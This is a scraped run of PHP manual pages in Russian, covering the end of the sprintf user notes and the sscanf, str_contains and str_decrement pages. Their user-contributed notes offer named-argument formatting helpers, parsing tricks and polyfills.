Here's a clean, working version of functions to allow using named arguments instead of numeric ones. ex: instead of sprintf('%1$s', 'Joe');, we can use sprintf('%name$s', array('name' => 'Joe'));. I've provided 2 different versions: the first uses the php-like syntax (ex: %name$s), while the second uses the python syntax (ex: %(name)s).

<?php

/**
 * version of sprintf for cases where named arguments are desired (php syntax)
 *
 * with sprintf: sprintf('second: %2$s ; first: %1$s', '1st', '2nd');
 *
 * with sprintfn: sprintfn('second: %second$s ; first: %first$s', array(
 *  'first' => '1st',
 *  'second'=> '2nd'
 * ));
 *
 * @param string $format sprintf format string, with any number of named arguments
 * @param array $args array of [ 'arg_name' => 'arg value', ... ] replacements to be made
 * @return string|false result of sprintf call, or bool false on error
 */
function sprintfn ($format, array $args = array()) {
    // map of argument names to their corresponding sprintf numeric argument value
    $arg_nums = array_slice(array_flip(array_keys(array(0 => 0) + $args)), 1);

    // find the next named argument. each search starts at the end of the previous replacement.
    for ($pos = 0; preg_match('/(?<=%)([a-zA-Z_]\w*)(?=\$)/', $format, $match, PREG_OFFSET_CAPTURE, $pos);) {
        $arg_pos = $match[0][1];
        $arg_len = strlen($match[0][0]);
        $arg_key = $match[1][0];

        // programmer did not supply a value for the named argument found in the format string
        if (! array_key_exists($arg_key, $arg_nums)) {
            user_error("sprintfn(): Missing argument '${arg_key}'", E_USER_WARNING);
            return false;
        }

        // replace the named argument with the corresponding numeric one
        $format = substr_replace($format, $replace = $arg_nums[$arg_key], $arg_pos, $arg_len);
        $pos = $arg_pos + strlen($replace); // skip to end of replacement for next iteration
    }

    return vsprintf($format, array_values($args));
}

/**
 * version of sprintf for cases where named arguments are desired (python syntax)
 *
 * with sprintf: sprintf('second: %2$s ; first: %1$s', '1st', '2nd');
 *
 * with sprintfn: sprintfn('second: %(second)s ; first: %(first)s', array(
 *  'first' => '1st',
 *  'second'=> '2nd'
 * ));
 *
 * @param string $format sprintf format string, with any number of named arguments
 * @param array $args array of [ 'arg_name' => 'arg value', ... ] replacements to be made
 * @return string|false result of sprintf call, or bool false on error
 */
function sprintfn ($format, array $args = array()) {
    // map of argument names to their corresponding sprintf numeric argument value
    $arg_nums = array_slice(array_flip(array_keys(array(0 => 0) + $args)), 1);

    // find the next named argument. each search starts at the end of the previous replacement.
    for ($pos = 0; preg_match('/(?<=%)\(([a-zA-Z_]\w*)\)/', $format, $match, PREG_OFFSET_CAPTURE, $pos);) {
        $arg_pos = $match[0][1];
        $arg_len = strlen($match[0][0]);
        $arg_key = $match[1][0];

        // programmer did not supply a value for the named argument found in the format string
        if (! array_key_exists($arg_key, $arg_nums)) {
            user_error("sprintfn(): Missing argument '${arg_key}'", E_USER_WARNING);
            return false;
        }

        // replace the named argument with the corresponding numeric one
        $format = substr_replace($format, $replace = $arg_nums[$arg_key] . '$', $arg_pos, $arg_len);
        $pos = $arg_pos + strlen($replace); // skip to end of replacement for next iteration
    }

    return vsprintf($format, array_values($args));
}

?>
Astone 15-Sep-2009 11:41
When you're using Google translator, you have to 'escape' the 'conversion specifications' by putting <span class="notranslate"></span> around them.

Like this:

<?php

function getGoogleTranslation($sString, $bEscapeParams = true)
{
    // "escape" sprintf paramerters
    if ($bEscapeParams)
    {
        $sPatern = '/(?:%%|%(?:[0-9]+\$)?[+-]?(?:[ 0]|\'.)?-?[0-9]*(?:\.[0-9]+)?[bcdeufFosxX])/';
        $sEscapeString = '<span class="notranslate">$0</span>';
        $sString = preg_replace($sPatern, $sEscapeString, $sString);
    }

    // Compose data array (English to Dutch)
    $aData = array(
        'v'            => '1.0',
        'q'            => $sString,
        'langpair'    => 'en|nl',
    );

    // Initialize connection
    $rService = curl_init();

    // Connection settings
    curl_setopt($rService, CURLOPT_URL, 'http://ajax.googleapis.com/ajax/services/language/translate');
    curl_setopt($rService, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($rService, CURLOPT_POSTFIELDS, $aData);

    // Execute request
    $sResponse = curl_exec($rService);

    // Close connection
    curl_close($rService);

    // Extract text from JSON response
    $oResponse = json_decode($sResponse);
    if (isset($oResponse->responseData->translatedText))
    {
        $sTranslation = $oResponse->responseData->translatedText;
    }
    else
    {
        // If some error occured, use the original string
        $sTranslation = $sString;
    }

    // Replace "notranslate" tags
    if ($bEscapeParams)
    {
        $sEscapePatern = '/<span class="notranslate">([^<]*)<\/span>/';
        $sTranslation = preg_replace($sEscapePatern, '$1', $sTranslation);
    }

    // Return result
    return $sTranslation;
}

?>

Thanks to MelTraX for defining the RegExp!
jfgrissom at gmail dot com 11-Jul-2009 09:51
I had a nightmare trying to find the two's complement of a 32 bit number.

I got this from http://www.webmasterworld.com/forum88/13334.htm (credit where credit is due... =P  )

Quote: ...find out the 2's complement of any number, which is -(pow(2, n) - N) where n is the number of bits and N is the number for which to find out its 2's complement.

This worked magic for me... previously I was trying to use

sprintf ("%b",$32BitDecimal);
But it always returned 10000000000000000000000 when the $32BitDecimal value got above 2,000,000,000.

This -(pow(2, n) - N)
Worked remarkably well and was very accurate.

Hope this helps someone fighting with two's complement in PHP.
John Walker 09-Jul-2009 05:56
To add to other notes below about floating point problems, I noted that %f and %F will apparently output a maximum precision of 6 as a default so you have to specify 1.15f (eg) if you need more.

In my case, the input (from MySQL) was a string with 15 digits of precision that was displayed with 6. Likely what happens is that the rounding occurs in the conversion to a float before it is displayed. Displaying it as 1.15f (or in my case, %s) shows the correct number.
viktor at textalk dot com 18-Feb-2009 08:16
A more complete and working version of mb_sprintf and mb_vsprintf. It should work with any "ASCII preserving" encoding such as UTF-8 and all the ISO-8859 charsets. It handles sign, padding, alignment, width and precision. Argument swapping is not handled.

<?php
if (!function_exists('mb_sprintf')) {
  function mb_sprintf($format) {
      $argv = func_get_args() ;
      array_shift($argv) ;
      return mb_vsprintf($format, $argv) ;
  }
}
if (!function_exists('mb_vsprintf')) {
  /**
   * Works with all encodings in format and arguments.
   * Supported: Sign, padding, alignment, width and precision.
   * Not supported: Argument swapping.
   */
  function mb_vsprintf($format, $argv, $encoding=null) {
      if (is_null($encoding))
          $encoding = mb_internal_encoding();

      // Use UTF-8 in the format so we can use the u flag in preg_split
      $format = mb_convert_encoding($format, 'UTF-8', $encoding);

      $newformat = ""; // build a new format in UTF-8
      $newargv = array(); // unhandled args in unchanged encoding

      while ($format !== "") {

        // Split the format in two parts: $pre and $post by the first %-directive
        // We get also the matched groups
        list ($pre, $sign, $filler, $align, $size, $precision, $type, $post) =
            preg_split("!\%(\+?)('.|[0 ]|)(-?)([1-9][0-9]*|)(\.[1-9][0-9]*|)([%a-zA-Z])!u",
                       $format, 2, PREG_SPLIT_DELIM_CAPTURE) ;

        $newformat .= mb_convert_encoding($pre, $encoding, 'UTF-8');

        if ($type == '') {
          // didn't match. do nothing. this is the last iteration.
        }
        elseif ($type == '%') {
          // an escaped %
          $newformat .= '%%';
        }
        elseif ($type == 's') {
          $arg = array_shift($argv);
          $arg = mb_convert_encoding($arg, 'UTF-8', $encoding);
          $padding_pre = '';
          $padding_post = '';

          // truncate $arg
          if ($precision !== '') {
            $precision = intval(substr($precision,1));
            if ($precision > 0 && mb_strlen($arg,$encoding) > $precision)
              $arg = mb_substr($precision,0,$precision,$encoding);
          }

          // define padding
          if ($size > 0) {
            $arglen = mb_strlen($arg, $encoding);
            if ($arglen < $size) {
              if($filler==='')
                  $filler = ' ';
              if ($align == '-')
                  $padding_post = str_repeat($filler, $size - $arglen);
              else
                  $padding_pre = str_repeat($filler, $size - $arglen);
            }
          }

          // escape % and pass it forward
          $newformat .= $padding_pre . str_replace('%', '%%', $arg) . $padding_post;
        }
        else {
          // another type, pass forward
          $newformat .= "%$sign$filler$align$size$precision$type";
          $newargv[] = array_shift($argv);
        }
        $format = strval($post);
      }
      // Convert new format back from UTF-8 to the original encoding
      $newformat = mb_convert_encoding($newformat, $encoding, 'UTF-8');
      return vsprintf($newformat, $newargv);
  }
}
?>
splogamurugan at gmail dot com 06-Feb-2009 05:59
$format = 'There are %1$d monkeys in the %s and %s ';
printf($format, 100, 'Chennai', 'Bangalore');

Expecting to output
"There are 100 monkeys in the Chennai and bangalore"

But, this will output
"There are 100 monkeys in the 100 and Chennai"

Because, the second and Third specifiers takes 1rst and 2nd arguments. Because it is not assigned with any arguments.
remy dot damour at -please-no-spam-laposte dot net 15-Jan-2009 11:15
With printf() and sprintf() functions, escape character is not backslash '\' but rather '%'.

Ie. to print '%' character you need to escape it with itself:
<?php
printf('%%%s%%', 'koko'); #output: '%koko%'
?>
php at mikeboers dot com 01-Oct-2008 01:42
And continuing on the same theme of a key-based sprintf...

I'm roughly (I can see a couple cases where it comes out wierd) copying the syntax of Python's string formatting with a dictionary. The improvement over the several past attempts is that this one still respects all of the formating options, as you can see in my example.

And the error handling is really crappy (just an echo). I just threw this together so do with it what you will. =]

<?php

function sprintf_array($string, $array)
{
    $keys    = array_keys($array);
    $keysmap = array_flip($keys);
    $values  = array_values($array);

    while (preg_match('/%\(([a-zA-Z0-9_ -]+)\)/', $string, $m))
    {
        if (!isset($keysmap[$m[1]]))
        {
            echo "No key $m[1]\n";
            return false;
        }

        $string = str_replace($m[0], '%' . ($keysmap[$m[1]] + 1) . '$', $string);
    }

    array_unshift($values, $string);
    var_dump($values);
    return call_user_func_array('sprintf', $values);
}

echo sprintf_array('4 digit padded number: %(num)04d ', array('num' => 42));

?>

Cheers!
scott dot gardner at mac dot com 10-Jan-2008 01:22
In the last example of Example#6, there is an error regarding the output.

printf("[%10.10s]\n", $t); // left-justification but with a cutoff of 10 characters

This outputs right-justified.

In order to output left-justified:

printf("[%-10.10s]\n", $t);
ian dot w dot davis at gmail dot com 30-May-2005 07:03
Just to elaborate on downright's point about different meanings for %f, it appears the behavior changed significantly as of 4.3.7, rather than just being different on different platforms. Previously, the width specifier gave the number of characters allowed BEFORE the decimal. Now, the width specifier gives the TOTAL number of characters. (This is in line with the semantics of printf() in other languages.) See bugs #28633 and #29286 for more details.
Pacogliss 02-May-2005 12:08
Just a reminder for beginners : example 6 'printf("[%10s]\n",    $s);' only works (that is, shows out the spaces) if you put the html '<pre></pre>' tags ( head-scraping time saver ;-).
jrpozo at conclase dot net 21-Jan-2005 07:13
Be careful if you use the %f modifier to round decimal numbers as it (starting from 4.3.10) will no longer produce a float number if you set certain locales, so you can't accumulate the result. For example:

setlocale(LC_ALL, 'es_ES');
echo(sprintf("%.2f", 13.332) + sprintf("%.2f", 14.446))

gives 27 instead of 27.78, so use %F instead.
php at sharpdreams dot com 08-May-2004 02:13
Note that when using the argument swapping, you MUST number every argument, otherwise sprintf gets confused. This only happens if you use number arguments first, then switch to a non-numbered, and then back to a numbered one.

<?php
$sql = sprintf( "select * from %1\$s left join %2\$s on( %1\$s.id = %2\$s.midpoint ) where %1\$s.name like '%%%s%%' and %2\$s.tagname is not null", "table1", "table2", "bob" );
// Wont work:
// Sprintf will complain about not enough arguments.
$sql = sprintf( "select * from %1\$s left join %2\$s on( %1\$s.id = %2\$s.midpoint ) where %1\$s.name like '%%%3\$s%%' and %2\$s.tagname is not null", "table1", "table2", "bob" );
// Will work: note the %3\$s
?>
no dot email dot address at example dot com 16-Sep-2002 06:29
Using argument swapping in sprintf() with gettext: Let's say you've written the following script:

<?php
$var = sprintf(gettext("The %2\$s contains %1\$d monkeys"), 2, "cage");
?>

Now you run xgettext in order to generate a .po file. The .po file will then look like this:

#: file.php:9
#, ycp-format
msgid "The %2\\$s contains %1\\$d monkeys"
msgstr ""

Notice how an extra backslash has been added by xgettext.

Once you've translated the string, you must remove all backslashes from the ID string as well as the translation, so the po file will look like this:

#: file.php:9
#, ycp-format
msgid "The %2$s contains %1$d monkeys"
msgstr "Der er %1$d aber i %2$s"

Now run msgfmt to generate the .mo file, restart Apache to remove the gettext cache if necessary, and you're off.
abiltcliffe at bigfoot.com 10-Sep-2002 11:01
To jrust at rustyparts.com, note that if you're using a double-quoted string and *don't* escape the dollar sign with a backslash, $s and $d will be interpreted as variable references. The backslash isn't part of the format specifier itself but you do need to include it when you write the format string (unless you use single quotes).
Andrew dot Wright at spamsux dot atnf dot csiro dot au 03-Jul-2002 02:22
An error in my last example:
$b = sprintf("%30.s", $a);
will only add enough spaces before $a to pad the spaces + strlen($a) to 30 places.

My method of centering fixed text in a 72 character width space is:

$a = "Some string here";
$lwidth = 36; // 72/2
$b = sprintf("%".($lwidth + round(strlen($a)/2)).".s", $a);


Разбирает строку в соответствии с заданным форматом

  • « sprintf
  • str_contains »
  • PHP Manual
  • Функции для работы со строками
  • Разбирает строку в соответствии с заданным форматом

sscanf

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

sscanf — Разбирает строку в соответствии с заданным форматом

Описание

sscanf(string $string, string $format, mixed &...$vars): array|int|null

Функция sscanf() похожа на функцию printf(), но используется не для вывода, а для ввода данных. sscanf() интерпретирует строку string в соответствии с форматом format.

Любые пробельные символы в строке формата соответствуют любым пробельным символам во входной строке. Это значит, что, например, символ табуляции (\t) в строке формата соответствует символу пробела во входной строке.

Список параметров

string

Обрабатываемая строка (string).

format

Интерпретируемый формат для параметра string, который описан в документации функции sprintf() со следующими отличиями:

  • Функция не ориентирована на локализацию.
  • Не поддерживаются значения F, g, G и b.
  • D обозначает десятичное число.
  • i обозначает целое число с определением системы счисления.
  • n обозначает количество символов, обработанных на текущий момент.
  • s останавливает чтение на любом символе пробела.
  • * вместо argnum$ подавляет присвоение данной спецификации преобразования.

vars

Необязательные переменные, передаваемые по ссылке, которым будут присвоены считанные значения.

Возвращаемые значения

Если переданы только эти два аргумента, будет возвращён массив. В противном случае, считанные из строки значения будут присвоены переменным, переданным через дополнительные аргументы, и будет возвращено количество присвоенных значений. Дополнительные аргументы должны передаваться по ссылке.

Если ожидается больше подстрок в параметре format, чем доступно в параметре str, то будет возвращено значение null.

Примеры

Пример #1 Пример использования sscanf()

<?php
// получаем серийный номер
list($serial) = sscanf("SN/2350001", "SN/%d");
// и дату изготовления
$mandate = "January 01 2000";
list($month, $day, $year) = sscanf($mandate, "%s %d %d");
echo "Узел $serial был изготовлен: $year-" . substr($month, 0, 3) . "-$day\n";
?>

Если переданы необязательные аргументы, значения будут присвоены им, а возвращено будет количество присвоенных значений.

Пример #2 sscanf() - использование необязательных аргументов

<?php
// получить имя автора и сформировать запись в формате DocBook
$auth = "24\tLewis Carroll";
$n = sscanf($auth, "%d\t%s %s", $id, $first, $last);
echo "<author id='$id'>
<firstname>$first</firstname>
<surname>$last</surname>
</author>\n";
?>

Смотрите также

  • printf() - Выводит отформатированную строку
  • sprintf() - Возвращает отформатированную строку
  • fprintf() - Записывает отформатированную строку в поток
  • vprintf() - Выводит отформатированную строку
  • vsprintf() - Возвращает отформатированную строку
  • vfprintf() - Записывает отформатированную строку в поток
  • fscanf() - Обрабатывает данные из файла в соответствии с форматом
  • number_format() - Форматирует число с группировкой классов многозначного числа
  • date() - Форматирует временную метку Unix

User Contributed Notes

Philo 28-Jul-2020 10:13
It should also be noted that when used with sscanf both x and X produce the same output (i.e. they are case-insensitive).

<?php
var_dump(sscanf("0xdead|0XDEAD", "%X|%x")); // works
Victor 23-Sep-2012 10:24
One thing to note: unlike C/C++, a variable %n is assigned to will be counted in the return value.
nmmm at nmmm dot nu 23-Nov-2011 05:11
This is more like C/C++ example, but works on PHP too.

<?php
$qs = "index.php?id=34&name=john";

print_r(   sscanf($qs, "%[^?]?%[^?]")   );

$qs = "id=34&name=john";

print_r(   sscanf($qs, "id=%[^&]&name=%[^&]")   );
?>
Igor Feghali 22-Oct-2008 10:56
parses an input string with fixed field sizes that contains data with spaces:

<?php
$result = sscanf("  Vendor: My Vendo Model: Super Model Foo  Rev: 1234",
                 '  Vendor: %8[ -~] Model: %16[ -~] Rev: %4c',
                 $vendor, $model, $rev);
?>

$vendor => My Vendo
$model => Super Model Foo
$rev => 1234
leg 13-Aug-2008 09:20
@mikewillitsgmail.com:

<?php

$out = sscanf('file_name.gif', 'file_%[^.].%s', $fpart1, $fpart2);

echo '<pre>';
print_r($fpart1);
echo '<hr />';
print_r($fpart2);
echo '</pre>';

?>

output:

name
-
gif

The "^." part avoid the first searched string to be too greedy. But doesn't protect you against an "file_test.name.gif" input, with bad results!
mikewillitsgmail.com 15-Mar-2008 11:13
FYI - if you are trying to scan from a string which contains a filename with extension. For instance:

<?php

$out = sscanf('file_name.gif', 'file_%s.%s', $fpart1, $fpart2);

?>

The scanned string in the $fpart1 parameter turns out to be 'name.gif' and $fpart2 will be NULL.

To get around this you can simply replace the "." with a space or another "white-space like" string sequence.

I didn't see any other comments on regarding string literals which contain a '.' so I thought I'd mention it. The subtle characteristics of having "white-space delimited" content I think can be a source of usage contention. Obviously, another way to go is regular expressions in this instance, but for newer users this may be helpful.

Just in case someone else spent 10 minutes of frustration like I did. This was seen on PHP Version 5.2.3-1ubuntu6.3.

Searching the bug reports shows another users misunderstanding: http://bugs.php.net/bug.php?id=7793
anonymouse 01-Aug-2006 09:38
I've seen several examples of people using brackets to define what look like regexp character classes. In my limited testing I don't think they are genuine character classes but they seem to be similar.

My task was to use sscanf() to parse an array of strings with the format:

number SPACE string_which_may_also_have_spaces

The normal %s conversion command treats spaces as some kind of delimiter. So, you can get the strings if you know beforehand how many "words" there will be. But, my input was variable.

Here's what I came up with: (note use of the dollar-sign 'end of string' hidden delimiter)

sscanf($string_to_parse,'%d %[^$]s',$num,$text);

This conversion command says "look for an integer, then a space, then any string up to the end of the string"
skeltoac 22-Mar-2006 08:28
To parse a line from an Apache access log in common format:

<?php
$log = array();
$n = sscanf(trim($line), '%s %s %s [%[^]]] "%s %s %[^"]" %d %s "%[^"]" "%[^"]"',
    $log['ip'],
    $log['client'],
    $log['user'],
    $log['time'],
    $log['method'],
    $log['uri'],
    $log['prot'],
    $log['code'],
    $log['bytes'],
    $log['ref'],
    $log['agent']
);
?>
Brainiac361 22-Aug-2005 01:49
The %[^[]]-trick may seem to work, but it doesn't!

What happens is that sscanf will simply match any characters but an opening square bracket (which is rather rare and that's why it might just seem to work).
But even worse it will expect a ]-character next and continue to match anything.

Now what you can do is make sscanf look for any character but a character that is really never used... a good choice is the linebreak "%[^\\n]", especially in combination with fscanf.

What you can also do is copy and paste any unused ascii character like #001 or something.
joshmckenneyATgmailDOT(0{ 14-Jul-2005 03:21
added country code (1) to phone number function:

function formatPhone($phone) {
       if (empty($phone)) return "";
       if (strlen($phone) == 7)
               sscanf($phone, "%3s%4s", $prefix, $exchange);
       else if (strlen($phone) == 10)
               sscanf($phone, "%3s%3s%4s", $area, $prefix, $exchange);
       else if (strlen($phone) > 10)
               if(substr($phone,0,1)=='1') {
                                 sscanf($phone, "%1s%3s%3s%4s", $country, $area, $prefix, $exchange);
                             }
                             else{
                                 sscanf($phone, "%3s%3s%4s%s", $area, $prefix, $exchange, $extension);
                                }
       else
               return "unknown phone format: $phone";
       $out = "";
       $out .= isset($country) ? $country.' ' : '';
       $out .= isset($area) ? '(' . $area . ') ' : '';
       $out .= $prefix . '-' . $exchange;
       $out .= isset($extension) ? ' x' . $extension : '';
       return $out;
}
Vincent Jansen 16-Jun-2005 01:04
If you just wants filter out information between two parts of a string, i used the following, it works better for me then the sscanf function.

<?php
function scanstr($zoekstr,$part1,$part2) {
$firstpos=strpos ($zoekstr, $part1)+strlen($part1);
$lastpos=strpos ($zoekstr, $part2);
$scanresult=substr ($zoekstr, $firstpos, $lastpos-$firstpos);
    return($scanresult);
}
echo scanstr ("var1=hello&var2=test&var3=more","var2=","&var3");
?>
codeslinger at compsalot dot com 06-Feb-2005 06:03
Security Note:

Although it is a very powerful technique, keep in mind that it is easily deceived.

Many successful exploits have been based on scanf attacks.  It should not be used on untrusted input without a lot of additional validation.
marcus at synchromedia dot co dot uk 24-Mar-2003 09:38
In PHP >= 4.3.0, if you use additional reference parameters, you will get this warning:

PHP Warning:  Call-time pass-by-reference has been deprecated - argument passed by value

This clearly has the potential to cause unexpected consequences (vars left empty), and will break existing code. So don't do it! These docs need updating to say this too.

The syntax:

    list($a, $b) = sscanf("hello world", "%s %s");

will work as expected, and doesn't seem to cause any problems with Apache that I've noticed.
sbarnum.pointsystems@com 19-Nov-2002 07:21
More fun with phones!  This assumes that the phone number is 10 digits, with only numeric data, but it would be easy to check the length of the string first.

function formatPhone($phone) {
        if (empty($phone)) return "";
        sscanf($phone, "%3d%3d%4d", $area, $prefix, $exchange);
        $out = @$area ? "($area) " : "";
        $out .= $prefix . '-' . $exchange;
        return $out;
}
jon at fuck dot org 13-Sep-2002 11:27
this function is a great way to get integer rgb values from the html equivalent hex.

list($r, $g, $b) = sscanf('00ccff', '%2x%2x%2x');
elgabos at umail dot ucsb dot edu 27-Feb-2002 03:38
After playing around with this for a while, I found that if you use %[^[]] instead of %s (since php has problems with spaces when using %s) it works nicely.

For those that aren't familiar with regular expressions, %[^[]] basically matches anything that isn't nothing.

Hope this helps. - Gabe
narainsbrain at yahoo dot com 14-Oct-2001 03:25
apparently, sscanf always splits at spaces, even if spaces are not specified in the format. consider this script:

<?php
$str = "This is a\tsentence with\ttabs";
$scanned = sscanf($str, "%s\t%s\t%s");
echo join(" : ", $scanned);
?>

this echoes "This : is : a", not the expected "This is a : sentence with : tabs."
this behaviour is fine if your strings don't contain spaces, but if they do you'd be better off using explode().
clcollie at mindspring dot com 12-Sep-2000 04:59
Actually sscanf()_always_ returns an array if you specify less return variables than format specifiers. i may change this to return a scalar if only a single format specifier exists.
  Note that sscanf() is (almost) the complete functional equivalent of its "C" counterpart, so you can do the following to get the expected effect :

   sscanf("SN/2350001","SN/%d",&$serial)

The array return was a nicety for PHP.


Определяет, содержит ли строка заданную подстроку

  • « sscanf
  • str_decrement »
  • PHP Manual
  • Функции для работы со строками
  • Определяет, содержит ли строка заданную подстроку

str_contains

(PHP 8)

str_contains — Определяет, содержит ли строка заданную подстроку

Описание

str_contains(string $haystack, string $needle): bool

Выполняет проверку с учётом регистра, указывающую, содержится ли needle в haystack.

Список параметров

haystack

Строка для поиска.

needle

Подстрока для поиска в haystack.

Возвращаемые значения

Возвращает true, если needle содержится в haystack, false в противном случае.

Примеры

Пример #1 Пример использования пустой строки ''

<?php
if (str_contains('абв', '')) {
echo "Проверка существования пустой строки всегда возвращает true";
}
?>

Результат выполнения приведённого примера:

Проверка существования пустой строки всегда возвращает true

Пример #2 Демонстрация чувствительности к регистру

<?php
$string = 'ленивая лиса перепрыгнула через забор';

if (str_contains($string, 'ленивая')) {
echo "Строка 'ленивая' найдена в проверяемой строке\n";
}

if (str_contains($string, 'Ленивая')) {
echo 'Строка "Ленивая" найдена в проверяемой строке';
} else {
echo '"Ленивая" не найдена потому что регистр не совпадает';
}

?>

Результат выполнения приведённого примера:

Строка 'ленивая' найдена в проверяемой строке
"Ленивая" не найдена потому что регистр не совпадает

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Смотрите также

  • str_ends_with() - Проверяет, заканчивается ли строка заданной подстрокой
  • str_starts_with() - Проверяет, начинается ли строка с заданной подстроки
  • stripos() - Возвращает позицию первого вхождения подстроки без учёта регистра
  • strrpos() - Возвращает позицию последнего вхождения подстроки в строке
  • strripos() - Возвращает позицию последнего вхождения подстроки без учёта регистра
  • strstr() - Находит первое вхождение подстроки
  • strpbrk() - Ищет в строке любой символ из заданного набора
  • substr() - Возвращает подстроку
  • preg_match() - Выполняет проверку на соответствие регулярному выражению

User Contributed Notes

Ancyker 24-Aug-2023 01:22
This function doesn't always produce the expected results if you have a needle that isn't UTF-8 but are looking for it in a UTF-8 string. This won't be a concern for most people, but if you are mixing old and new data, especially if reading data from a file, it could be an issue.

Here's a "mb_*"-esque function that searches the string:

<?php
function mb_str_contains(string $haystack, string $needle, $encoding = null) {
    return $needle === '' || mb_substr_count($haystack, $needle, (empty($encoding) ? mb_internal_encoding() : $encoding)) > 0;
}
?>

I used mb_substr_count() instead of mb_strpos() because mb_strpos() will still match partial characters as it's doing a binary search.

We can compare str_contains to the above suggested function:

<?php
// Some Unicode Kanji (????????)
$string = hex2bin('e6bca2e5ad97e381afe383a6e3838be382b3e383bce38389');

// Some Windows-1252 characters (a?)
$contains = hex2bin('e383');
// ^ file_get_contents() produces the same data when it is saved as "ANSI" in Notepad on Windows, so this is not that unrealistic. The only reason to use hex2bin here is to mix character sets without having to use multiple files.

// A character that actually exists in our string. (?)
$contains2 = hex2bin('e383bc');

echo " = Haystack: ".var_export($string, true)."\r\n";
echo " = Needles:\r\n";
echo "   + Windows-1252 characters\r\n";
echo "     - Results:\r\n";
echo "       >    str_contains: ".var_export(str_contains($string, $contains), true)."\r\n";
echo "       > mb_str_contains: ".var_export(mb_str_contains($string, $contains), true)."\r\n";
echo "   + Valid UTF-8 character\r\n";
echo "     - Results:\r\n";
echo "       >    str_contains: ".var_export(str_contains($string, $contains2), true)."\r\n";
echo "       > mb_str_contains: ".var_export(mb_str_contains($string, $contains2), true)."\r\n";
echo "\r\n";
?>

Output:

 = Haystack: '????????'
 = Needles:
   + Windows-1252 characters
     - Results:
       >    str_contains: true
       > mb_str_contains: false
   + Valid UTF-8 character
     - Results:
       >    str_contains: true
       > mb_str_contains: true

It's not completely foolproof, however. For instance, a?‰ in Windows-1252 will match ? from the above string. So it's still best to convert the encoding of the parameters to be the same first. But, if the character set isn't known/can't be detected and you have no choice but to deal with dirty data, this is probably the simplest solution.
harl at gmail dot com 12-Aug-2023 11:23
A couple of functions for checking if a string contains any of the strings in an array, or all of the strings in an array:

<?php
function str_contains_any(string $haystack, array $needles): bool
{
    return array_reduce($needles, fn($a, $n) => $a || str_contains($haystack, $n), false);
}

function str_contains_all(string $haystack, array $needles): bool
{
    return array_reduce($needles, fn($a, $n) => $a && str_contains($haystack, $n), true);
}
?>

str_contains_all() will return true if $needles is an empty array. If you think that's wrong, show me a string in $needles that DOESN'T appear in the $haystack, and then look up "vacuous truth".

(By swapping haystacks and needles in the body of these functions you can create versions that check if a needle appears in any/all of an array of haystacks.)
drupalista dot com dot br at gmail dot com 23-Apr-2022 08:36
private function contains(array $needles, string $type, string $haystack = NULL, string $filename = NULL) : bool {
        if (empty($needles)) return FALSE;
        if ($filename)
            $haystack = file_get_contents($filename);

        $now_what = function(string $needle) use ($haystack, $type) : array {
            $has_needle = str_contains($haystack, $needle);
            if ($type === 'any' && $has_needle)
                return ['done' => TRUE, 'return' => TRUE];

            if ($type === 'all' && !$has_needle)
                return ['done' => TRUE, 'return' => FALSE];

            return ['done' => FALSE];
        };

        foreach ($needles as $needle) {
            $check = $now_what($needle);
            if ($check['done'])
                return $check['return'];
        }
        return TRUE;
    }

    function containsAny(array $needles, string $haystack = NULL, string $filename = NULL) : bool {
        return self::contains($needles, 'any', $haystack, $filename);
    }

    function containsAll(array $needles, string $haystack = NULL, string $filename = NULL) : bool {
        return self::contains($needles, 'all', $haystack, $filename);
    }
aisunny7 dot xy at gmail dot com 27-Jan-2022 03:45
The polyfill that based on original work from the PHP Laravel framework had a different behavior;

when the $needle is `""` or `null`:
php8's will return `true`;
but, laravel'str_contains will return `false`;

when php8.1, null is deprecated, You can use `$needle ?: ""`;
AuxData 22-Nov-2021 12:28
Until PHP 8 was released, many-a-programmer were writing our own contain() functions. Mine also handles needles with logical ORs (set to '||').
Here it is.

function contains($haystack, $needle, $offset){
    $OR = '||';
    $result = false;

    $ORpos = strpos($needle, $OR, 0);
    if($ORpos !== false){ //ORs exist in the needle string
        $needle_arr = explode($OR, $needle);
        for($i=0; $i < count($needle_arr); $i++){
            $pos = strpos($haystack, trim($needle_arr[$i]), $offset);
            if($pos !== false){
                $result = true;
                break;
            }
        }
    } else {
        $pos = strpos($haystack, trim($needle), $offset);
        if($pos !== false){
          $result = true;
        }
    }
  return($result);
}

Call: contains("Apple Orange Banana", "Apple || Walnut", 0);
Returns: true
juliyvchirkov at gmail dot com 26-Jul-2021 11:30
<?php

// Polyfill for PHP 4 - PHP 7, safe to utilize with PHP 8

if (!function_exists('str_contains')) {
    function str_contains (string $haystack, string $needle)
    {
        return empty($needle) || strpos($haystack, $needle) !== false;
    }
}
scm6079 02-Apr-2021 02:11
For earlier versions of PHP, you can polyfill the str_contains function using the following snippet:

<?php
// based on original work from the PHP Laravel framework
if (!function_exists('str_contains')) {
    function str_contains($haystack, $needle) {
        return $needle !== '' && mb_strpos($haystack, $needle) !== false;
    }
}
?>
olivertasche+nospam at gmail dot com 23-Mar-2021 05:03
The code from "me at daz dot co dot uk" will not work if the word is
- at the start of the string
- at the end of the string
- at the end of a sentence (like "the ox." or "is that an ox?")
- in quotes
- and so on.

You should explode the string by whitespace, punctations, ... and check if the resulting array contains your word OR try to test with a RegEx like this:
(^|[\s\W])+word($|[\s\W])+

Disclaimer: The RegEx may need some tweaks
kadenskinner at gmail dot com 08-Mar-2021 02:47
<?php

$needle = '@';
$haystack = 'user@example.com';

if (!str_contains($haystack, $needle)){
echo 'There is not an @ in haystack';
}else{
echo 'There is an @ in haystack';
}


Уменьшает на единицу буквенно-цифровую строку

  • « str_contains
  • str_ends_with »
  • PHP Manual
  • Функции для работы со строками
  • Уменьшает на единицу буквенно-цифровую строку

str_decrement

(PHP 8 >= 8.3.0)

str_decrement — Уменьшает на единицу буквенно-цифровую строку

Описание

str_decrement(string $string): string

Возвращает уменьшенную буквенно-цифровую строку string, состоящую из символов в кодировке ASCII.

Список параметров

string

Входная строка.

Возвращаемые значения

Возвращает уменьшенную буквенно-цифровую строку, состоящую из ASCII-символов.

Ошибки

Будет выброшено исключение ValueError, если входная строка string пустая.

Будет выброшено исключение ValueError, если входная строка string состоит не из ASCII-символов.

Будет выброшено исключение ValueError, если входная строка string не может быть уменьшена. Например, "A" или "0".

Примеры

Пример #1 Базовый пример использования str_decrement()

<?php
$str = 'ABC';
var_dump(str_decrement($str));
?>

Результат выполнения приведённого примера:

string(3) "ABB"

